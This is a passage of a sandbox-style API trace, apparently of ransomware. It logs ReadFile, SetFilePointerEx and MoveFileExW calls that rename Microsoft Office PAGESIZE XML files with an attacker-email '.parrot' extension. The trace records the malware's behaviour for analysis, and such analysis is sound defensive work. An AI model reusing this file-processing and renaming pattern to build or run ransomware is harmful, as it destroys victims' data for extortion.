lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.797] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d5c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d5c6, lpOverlapped=0x0) returned 1 [0200.801] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0200.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.808] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.810] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.810] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2dbec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2dbec, lpOverlapped=0x0) returned 1 [0200.813] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0200.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0200.825] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.825] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.826] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.826] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b6c, lpOverlapped=0x0) returned 1 [0200.827] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0200.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0498 | out: hHeap=0x5b0000) returned 1 [0200.833] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.833] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.876] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.876] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcdbee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcdbee, lpOverlapped=0x0) returned 1 [0200.912] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0200.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0200.969] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.970] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.971] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.972] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40198, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40198, lpOverlapped=0x0) returned 1 [0200.982] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0201.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0201.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0201.004] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.004] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.006] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.006] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2247e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2247e, lpOverlapped=0x0) returned 1 [0201.012] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2290c58 | out: hHeap=0x5b0000) returned 1 [0201.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0201.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0201.025] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.026] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.027] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.027] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeb68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xeb68, lpOverlapped=0x0) returned 1 [0201.030] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2290c58 | out: hHeap=0x5b0000) returned 1 [0201.038] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.038] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.040] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.040] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bc4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bc4, lpOverlapped=0x0) returned 1 [0201.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.041] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.047] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.047] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.094] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.094] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe2d8, lpOverlapped=0x0) returned 1 [0201.096] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.104] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.104] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.106] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.106] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2936, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2936, lpOverlapped=0x0) returned 1 [0201.107] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.113] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.113] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.115] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.115] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x167d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x167d4, lpOverlapped=0x0) returned 1 [0201.117] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.125] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.125] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.126] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21be, lpOverlapped=0x0) returned 1 [0201.127] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.135] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.135] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.136] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.136] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5e2, lpOverlapped=0x0) returned 1 [0201.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.142] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.142] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.144] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1412, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1412, lpOverlapped=0x0) returned 1 [0201.145] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.152] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.153] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.153] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c4ca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9c4ca, lpOverlapped=0x0) returned 1 [0201.180] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.216] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.251] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.251] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8250, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8250, lpOverlapped=0x0) returned 1 [0201.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.267] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.268] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.268] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8e4, lpOverlapped=0x0) returned 1 [0201.269] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 